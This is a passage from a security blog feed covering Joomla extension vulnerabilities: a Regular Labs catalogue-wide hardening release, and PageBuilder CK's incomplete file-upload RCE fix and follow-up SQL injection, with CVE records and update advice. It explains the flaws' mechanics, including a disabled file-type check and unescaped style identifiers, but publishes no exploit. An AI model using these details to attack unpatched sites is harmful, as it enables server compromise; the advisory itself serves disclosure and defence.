&lt;p&gt;No CVE today also does not mean no CVE ever. To be clear, these are not our findings. We did not report them, and we do not know whether anyone has requested CVE numbers for them. This was Regular Labs’ own security pass across its codebase, fixed and shipped by the vendor. Numbers may still be assigned weeks or months from now, once a researcher or the Joomla CNA works through the changelog, so treat a missing CVE as paperwork that has not caught up rather than a verdict on severity.&lt;/p&gt;
&lt;p&gt;What the missing CVE does change is your ability to hear about it. Without an advisory, an NVD entry or a &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; row, the only signal is a &lt;code&gt;[SECURITY FIX]&lt;/code&gt; line in a per-extension changelog you have to go and read. That is the gap a live inventory closes: you find out because your dashboard tells you a version is outdated, not because you happened to be reading Regular Labs’ release notes on the right day.&lt;/p&gt;
&lt;h2&gt;How do I find every affected site I manage?&lt;/h2&gt;
&lt;p&gt;For up to about ten sites, log in to each Joomla administrator and check the installed Regular Labs versions against the fixed numbers above. Past that, checking by hand stops being realistic, and the risk is not the sites you remember but the ones you forget.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site in your account. Search for a Regular Labs extension once and you get every site running it, the version each is on, and whether an update is available. Because we have added detection rules for the affected versions, the vulnerable installs are already flagged for you, so you are working from a list rather than a search.&lt;/p&gt;
&lt;h2&gt;How do I update Regular Labs extensions safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. With mySites.guru you can &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions. If you manage many sites, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mind the PHP 8.2 floor.&lt;/strong&gt; This release raises the minimum PHP version to 8.2 across the catalogue. Sites still on PHP 8.1, which reached end of life in December 2025, or older will not be offered the update until PHP is upgraded, which leaves them stuck on the vulnerable builds and is its own reason to move off an unsupported PHP version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version and test.&lt;/strong&gt; After updating, check each extension reports the fixed version. Several fixes are breaking changes, especially in the Anywhere plugins where tag HTML now renders escaped, so test any site that relies on that behaviour.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not rely on auto-updates blindly.&lt;/strong&gt; If you use &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;Joomla extension auto-updates&lt;/a&gt;, confirm each site actually received the fix. Auto-updates fail more often than people think.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;A coordinated hardening pass is a good sign, not a bad one&lt;/h2&gt;
&lt;p&gt;It can look alarming when a vendor patches its entire catalogue on one day. Read the other way, it is what responsible maintenance looks like. Regular Labs clearly ran a security pass across its whole codebase, found a class of issues, and fixed them everywhere at once rather than one reactive patch at a time. That is the same healthy pattern we see when &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;we are not the only ones auditing Joomla extensions&lt;/a&gt;: the extensions getting this attention are the well-maintained ones.&lt;/p&gt;
&lt;p&gt;None of this is a reason to distrust Regular Labs. The real takeaway is that keeping extensions updated is security-critical work, not cosmetic housekeeping, and “I would have updated if I had known” is not a plan when the disclosure is a changelog line on one of thirty extensions. Knowing which of your sites are affected, the day the fix ships, is the whole game. That is the job mySites.guru does for you.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious Joomla extension flaw is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; Roughly 30 extensions are updated at once A coordinated security-hardening release across the Regular Labs catalogue, which the vendor says runs on more than 100,000 websites. The shared Regular Labs Library alone sits on more than 16,000 of the Joomla sites we manage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; Two of the fixes are in the shared Library, so they touch every extension Privileged AJAX endpoints that did not consistently enforce tokens and permissions, and a bundled HTTP-message library updated to close a request start-line injection. Cache Cleaner had the most serious set of its own: server-side request forgery reaching private networks, and OS command injection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; No CVE numbers, which is not the same as not serious A CVE is a tracking identifier, not a severity rating. Plenty of dangerous issues never get one, especially when a vendor fixes them in a changelog rather than filing an advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; Sourcerer needs three more releases of its own A separate flaw in one of the same catalogue&apos;s extensions, CVE-2026-74253, took 14.0.0, 15.0.0 and finally 16.0.0 on 26 August to close, and was exploited in the wild throughout. Being patched on 22 July does not help with that one.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Regular Labs latest releases&lt;/a&gt; - the per-extension changelogs for the 22 July 2026 release, with every &lt;code&gt;[SECURITY FIX]&lt;/code&gt; line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind the catalogue-wide AJAX fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension issues this sits alongside.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;The Joomla and WordPress vulnerable extension list&lt;/a&gt; - how mySites.guru tracks known-vulnerable versions across your sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918: Server-Side Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-Site Scripting&lt;/a&gt; - the official references for the two most notable weakness classes in this release.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>regular labs</category><category>vulnerability</category><category>joomla extensions</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/regular-labs-joomla-extension-security-release.png" length="0" type="image/png"/></item><item><title>PageBuilder CK RCE fixed - again - correctly this time</title><link>https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/</guid><description>PageBuilder CK&apos;s 3.6.0 fix for its file-upload RCE (CVE-2026-56290) added just a login check; any Editor could still run code. Fixed in 3.6.3. Be on 3.6.5.</description><pubDate>Tue, 21 Jul 2026 19:38:00 GMT</pubDate><content:encoded>&lt;p&gt;In June 2026 we &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;disclosed a critical flaw in PageBuilder CK&lt;/a&gt;, the popular free drag-and-drop page builder for Joomla. It was an unauthenticated file upload that led to remote code execution: anyone, with no login at all, could upload a file to a Joomla site and run it. It became &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, scored CVSS 10.0, and the vendor shipped version 3.6.0 as the fix.&lt;/p&gt;
&lt;p&gt;The 3.6.0 fix was incomplete. It added a login check that stops anonymous visitors, and that part works. What it did not do was correct the upload itself. The flaw that let an attacker write and run a PHP file was still there, still in the same file, still with the file-type check commented out, all the way through 3.6.2. All the patch had done was put the bug behind a login. Any account with the Editor permission, which Joomla hands out by default, could still upload and run code. The vendor has now shipped 3.6.3, which restores the missing check and closes it.&lt;/p&gt;
&lt;p&gt;This is the difference between patched and fixed, and it is worth understanding, because it is a mistake we see again and again. Update PageBuilder CK to 3.6.5, then read on for what the 3.6.0 fix actually changed and why an “authenticated” upload flaw was still a serious problem.&lt;/p&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The 3.6.0 fix for &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; only added an &lt;strong&gt;access check&lt;/strong&gt;. It stops anonymous visitors, but the &lt;strong&gt;upload handler was not corrected until 3.6.3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;file-extension check stayed commented out&lt;/strong&gt; through 3.6.2, so the endpoint would still write a PHP file into a web-served folder&lt;/li&gt;
&lt;li&gt;The remote code execution regressed from &lt;strong&gt;unauthenticated to authenticated&lt;/strong&gt;. Any account with &lt;strong&gt;core.edit&lt;/strong&gt;, which Joomla grants to the &lt;strong&gt;Editor group by default&lt;/strong&gt;, could still reach it&lt;/li&gt;
&lt;li&gt;An Editor is a &lt;strong&gt;low-trust content role&lt;/strong&gt; that must never be able to write executable files. So this was a &lt;strong&gt;privilege escalation from editor to full server compromise&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;We confirmed the flaw on a clean test install, uploading a harmless marker file and watching it run, and confirmed that &lt;strong&gt;3.6.3 rejects the same upload&lt;/strong&gt;, then cleaned up. &lt;strong&gt;We are not publishing a working exploit&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to PageBuilder CK 3.6.5&lt;/strong&gt;, and as a backstop &lt;strong&gt;block PHP execution in your writable folders&lt;/strong&gt; (/images, /media, /templates, /tmp) so an incomplete vendor fix cannot hurt you&lt;/li&gt;
&lt;li&gt;Reported to the vendor, who shipped &lt;strong&gt;3.6.3&lt;/strong&gt; with the file-type allow-list restored&lt;/li&gt;
&lt;li&gt;We then found a &lt;strong&gt;separate SQL injection in the styles handling&lt;/strong&gt;, and the 3.6.4 release meant to fix it &lt;strong&gt;sanitised nothing on the administrator path&lt;/strong&gt;. Properly fixed in &lt;strong&gt;3.6.5&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to Find Every Joomla Site Running PageBuilder CK with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a flaw sits in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into every Joomla admin to check the PageBuilder CK version does not scale past a handful of sites.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running PageBuilder CK, grouped by version, in seconds. Filter for anything below 3.6.5 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your PageBuilder CK installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c45129c88fda8c49f8f7c475837f869f&quot;&gt;Open PageBuilder CK Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites, so you can find the installations that still need the update.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.6.5 across every affected site in one batch. Affected sites are also flagged in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extensions feed&lt;/a&gt;, so you are told which sites are exposed rather than having to go looking.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What the 3.6.0 Fix Actually Changed&lt;/h2&gt;
&lt;p&gt;The original bug had two parts. The endpoint that handles image uploads had no authentication and no permission check, so anyone could reach it. And the upload handler accepted any file, with any extension, and wrote it to a folder the caller chose. Either half on its own is a problem. Together they are unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Version 3.6.0 fixed the first half. It added an access check to the component’s endpoints, so a request now has to come from a logged-in user with permission to edit before the upload code runs. You can see it working: send an anonymous request to the upload endpoint on a patched site and it comes back with a &lt;strong&gt;403, permission denied&lt;/strong&gt;. The anonymous path is closed, which is why &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56290/&quot;&gt;CVE-2026-56290&lt;/a&gt; is correctly marked fixed in 3.6.0.&lt;/p&gt;
&lt;p&gt;What 3.6.0 did not touch was the second half. The upload handler did not check the file type. In the code from 3.6.0 through 3.6.2 the extension check was not just missing, it was sitting right there commented out, with a developer’s note where the check used to run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// check the file extension // TODO recup preg_match de local dev&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// if (getExt($filename) != &apos;jpg&apos;) { ... }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The line below it that would reject anything that is not an image was disabled. The handler cleaned the filename but kept the extension, so &lt;code&gt;shell.php&lt;/code&gt; stayed &lt;code&gt;shell.php&lt;/code&gt;, and then wrote it into a web-served folder. The file type was looked at only to pick which icon to show in the media browser, never to decide whether the file was allowed. So the exact flaw that made the June bug a remote code execution was still present, right up to 3.6.2. The 3.6.0 patch built a locked front door and left the back door wide open. Version 3.6.3 finally shuts it, restoring an allow-list that rejects anything that is not an approved media type before the file is written.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we are not publishing. We confirmed this by reading the shipped code and reproducing the upload on our own test install, with a harmless marker file that we removed straight afterwards, and we verified that 3.6.3 rejects the same upload. No customer or third-party site was involved. We are not naming the exact request or publishing a working exploit. The point is to get people updated and hardened, not to hand a recipe to the next scanner.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why an “Authenticated” Upload Flaw Is Still Serious&lt;/h2&gt;
&lt;p&gt;It is tempting to read “now needs a login” as “now safe”. It is not, and the reason is who the login belongs to.&lt;/p&gt;
&lt;p&gt;The permission that unlocks the upload is &lt;code&gt;core.edit&lt;/code&gt;, and in a default Joomla install that permission is granted to the &lt;strong&gt;Editor&lt;/strong&gt; user group. An Editor is a content role. It is the account you give to a copywriter, a marketing hire, or a junior team member so they can write and edit articles. It has no business touching the file system, and in a correctly built site it cannot. Joomla’s own media manager will not store executable files for exactly this reason: even a trusted administrator should not be able to drop a PHP file into a web folder by accident, let alone an Editor.&lt;/p&gt;
&lt;p&gt;On the vulnerable versions this endpoint gave that power to any Editor. An Editor login, through this one upload, became the ability to write and run arbitrary code on the server. That is a &lt;strong&gt;privilege escalation&lt;/strong&gt;: from “can edit an article” to “controls the entire site and everything else it can reach”. Editor accounts are also the softest targets on most sites. They get shared, they get weak passwords, they get reused, and they get phished, because everyone treats them as low-risk. On a site running this code, they were not low-risk at all.&lt;/p&gt;
&lt;p&gt;There is a real improvement over the June version, and it is worth being honest about it: an anonymous internet-wide attacker can no longer walk straight in. But the gap between “anonymous” and “any Editor” is much smaller than it sounds, and it is nowhere near enough of a barrier for a flaw whose payoff is complete server control.&lt;/p&gt;
&lt;h2&gt;Being ‘patched’ is not the same as being ‘fixed’&lt;/h2&gt;
&lt;p&gt;The reason this is worth a whole post, rather than a footnote on the original, is the pattern. A security fix can take two shapes. You can remove the flaw, or you can put a gate in front of it. Removing the flaw here would have meant restoring the file-type check so the handler rejects a PHP upload from anyone. Putting a gate in front of it meant adding a login check so fewer people can reach the unchanged flaw. The 3.6.0 release did the second and not the first, and a critical unauthenticated bug became a serious authenticated one instead of going away.&lt;/p&gt;
&lt;p&gt;From the outside these look identical. The changelog says the security issue is fixed, the version number goes up, the CVE is marked resolved. Only reading the code told you the root cause was still there. This is why, when we track a vulnerability, we care about what the fix actually did and not just that a fix shipped.&lt;/p&gt;
&lt;p&gt;It is also the strongest possible argument for &lt;strong&gt;defence in depth&lt;/strong&gt;. If your writable directories cannot execute PHP in the first place, then a handler that wrongly writes a &lt;code&gt;.php&lt;/code&gt; file has written an inert text file, and an incomplete vendor fix never becomes your incident. Block PHP execution in &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/tmp&lt;/code&gt; at the web server level, not in the application, so the protection holds regardless of what any one extension does. If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt;, its &lt;code&gt;.htaccess&lt;/code&gt; Maker sets up most of this for you. It is the layer that would have blunted both the June bug and this one - but even this is still just &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;locking the fridge and the toilet and letting the hacker sit on your sofa&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;It Happened Again, In The Styles Code&lt;/h2&gt;
&lt;p&gt;Once 3.6.3 closed the upload, we read the rest of the component. There was a second flaw, nothing to do with uploads: SQL injection in the way PageBuilder CK loads its saved styles. Style identifiers went into a database query with no escaping and no numeric conversion, so somebody who can create or edit PageBuilder CK content could store a payload that runs against the database when the page is next rendered. The trigger is a visitor loading the page, not the attacker sending a request. It needs an authenticated account with content editing rights, so this is not the anonymous class of problem the June bug was, but “any account that can edit a page can reach the database” is not where you want to be either.&lt;/p&gt;
&lt;p&gt;We reported it, and the vendor shipped 3.6.4 on 13 August with a changelog line about fixing a security issue in the styles models.&lt;/p&gt;
&lt;p&gt;3.6.4 fixed half of it. The front-end path was corrected properly; the administrator path was not, and it failed in a way that is very easy to write and very hard to catch in review. The sanitising line was there, calling the right function on the right variable, and it threw the result away. That function hands back a cleaned copy and leaves the original alone, so a line sitting under a comment saying it cleans the data changed nothing whatsoever. The raw values reached the query exactly as before.&lt;/p&gt;
&lt;p&gt;We told the vendor the next morning. 3.6.5 shipped on 17 August with the one missing character, and we read the released build to confirm the values are converted before they reach the query now.&lt;/p&gt;
&lt;p&gt;That is twice this component has shipped a fix that did not finish the job: the June access check that left the upload handler untouched, and a styles fix that sanitised nothing on one of the two paths that needed it. &lt;strong&gt;The version to be on is 3.6.5.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;What To Do&lt;/h2&gt;
&lt;p&gt;Update PageBuilder CK to 3.6.5 on every Joomla site that runs it. In each site’s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find PageBuilder CK, and update. If the update does not appear there, download the latest build from &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;joomlack.fr&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update from your &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt; rather than working through admin panels one by one.&lt;/p&gt;
&lt;p&gt;Then harden the site so you are not relying on any single extension getting its file handling right. Block PHP execution in your writable directories, review your &lt;strong&gt;Users&lt;/strong&gt; list and remove any Editor or Super User accounts you do not recognise, and tighten the passwords on the ones you keep. If a site has been running this code with untrusted Editor accounts, treat a compromise as possible and &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;run a full security audit&lt;/a&gt;: look for stray PHP files under &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt; and &lt;code&gt;/administrator&lt;/code&gt;, and if you find one, &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean the site properly&lt;/a&gt; and rotate your Joomla passwords and secrets.&lt;/p&gt;
&lt;h2&gt;The Same Root Cause, One Layer Down&lt;/h2&gt;
&lt;p&gt;The June bug fit a pattern we have written about at length: front-end endpoints that check a token but never check permission. This one is a variation on it. The permission check finally got added, but the dangerous operation behind it, an upload with no file-type control, was left untouched, so the flaw simply changed who could reach it.&lt;/p&gt;
&lt;p&gt;It sits alongside the other file-upload flaws we have covered this year, several of which are the same shape. &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; was an authenticated upload where a member-level account could bypass the allow-list and run code, a close cousin of this Editor-level flaw. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero day&lt;/a&gt; were unauthenticated versions of the same idea. We pulled the whole pattern apart in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;, and it keeps proving relevant.&lt;/p&gt;
&lt;p&gt;The lesson is not “stop using extensions”. PageBuilder CK is good at its job, and this is a fixable oversight, not a reason to rip it out. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, that even a shipped fix is worth checking, and that the day a flaw becomes public you need to know, within minutes, which of your sites run it. That is the whole reason mySites.guru indexes every extension on every site you connect. The corrected release is here in 3.6.5. You want to be the operator who updated and swept before the next scanner comes round, not the one &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;finding a strange file three weeks later&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;The original unauthenticated flaw is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, published 29 June 2026, CVSS 10.0, CWE-284, crediting Phil Taylor of mySites.guru as the finder. The residual authenticated flaw described here is an incomplete fix of that same issue. We reported it to the vendor on 21 July 2026, and the vendor released 3.6.3 with the file-type allow-list restored, which we confirmed on a clean test install. Both follow-up records are now published, and both credit Phil Taylor of mySites.guru as the finder.&lt;/p&gt;
&lt;p&gt;The authenticated upload variant is &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, published by the Joomla CNA on 22 July 2026, scored CVSS 4.0 9.4 critical on &lt;code&gt;AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;, classified CWE-434, unrestricted upload of a file with a dangerous type. Read the version numbers on it carefully: the title says ”&amp;lt; 3.6.2” while the affected range runs to 3.6.2 inclusive. The range is the accurate half. 3.6.2 is affected, and 3.6.3 is the release that fixes it.&lt;/p&gt;
&lt;p&gt;The styles SQL injection is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74254/&quot;&gt;CVE-2026-74254&lt;/a&gt;, published 17 August 2026, scored CVSS 4.0 9.3 critical on &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;, classified CWE-89. Its affected range is 1.0.0 to 3.6.4, and the record describes the two-stage fix in one line: “Version 3.6.4 fixed the vector in the frontend, 3.6.5 in the backend.” The CNA scored it &lt;code&gt;PR:N&lt;/code&gt;, no privileges required, which is a wider reach than the path we reported: what we proved and sent to the vendor needed an account with content editing rights on the component, which is the administrator path 3.6.5 closes. The record covers both vectors, so 9.3 is the figure to quote, and 3.6.5 is still the version to be on.&lt;/p&gt;





































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Original CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt; (unauthenticated, fixed in 3.6.0)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;This CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, published 22 July 2026, CVSS 4.0 9.4 (critical), CWE-434, crediting Phil Taylor of mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;This finding&lt;/td&gt;&lt;td&gt;Incomplete fix of &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56290/&quot;&gt;CVE-2026-56290&lt;/a&gt;: upload handler wrote executable files through 3.6.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reach&lt;/td&gt;&lt;td&gt;Authenticated. Any account with &lt;code&gt;core.edit&lt;/code&gt; (Editor group by default)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;PageBuilder CK (&lt;code&gt;com_pagebuilderck&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Cedric Keiflin (joomlack.fr)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authenticated arbitrary file upload to remote code execution (privilege escalation)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Still present in&lt;/td&gt;&lt;td&gt;3.6.2 and earlier of the current line&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;3.6.3 (restores the file-type allow-list)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;21 July 2026 (fixed in 3.6.3)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Follow-up finding&lt;/td&gt;&lt;td&gt;SQL injection in the styles handling, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74254/&quot;&gt;CVE-2026-74254&lt;/a&gt;, published 17 August 2026, CVSS 4.0 9.3 (critical), CWE-89, crediting Phil Taylor of mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Follow-up reach&lt;/td&gt;&lt;td&gt;Authenticated. Any account with content editing rights on the component&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Follow-up affected&lt;/td&gt;&lt;td&gt;1.0.0 to 3.6.4 per the CVE record. 3.6.4 fixed the front-end vector only, leaving the administrator one open&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Follow-up fixed in&lt;/td&gt;&lt;td&gt;3.6.5, released 17 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Current safe version&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.6.5&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-27&lt;/strong&gt; 3.6.0 is published as the fix for the unauthenticated upload It closed the anonymous route, later CVE-2026-56290 at CVSS 10.0, by adding the missing permission check. It did not correct the upload handler behind that check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; We report the incomplete fix The handler still wrote executable files, so any account with core.edit, which is the Editor group by default, could upload and run a PHP file on 3.6.1 and 3.6.2. Same flaw, narrower reach.&lt;/li&gt;
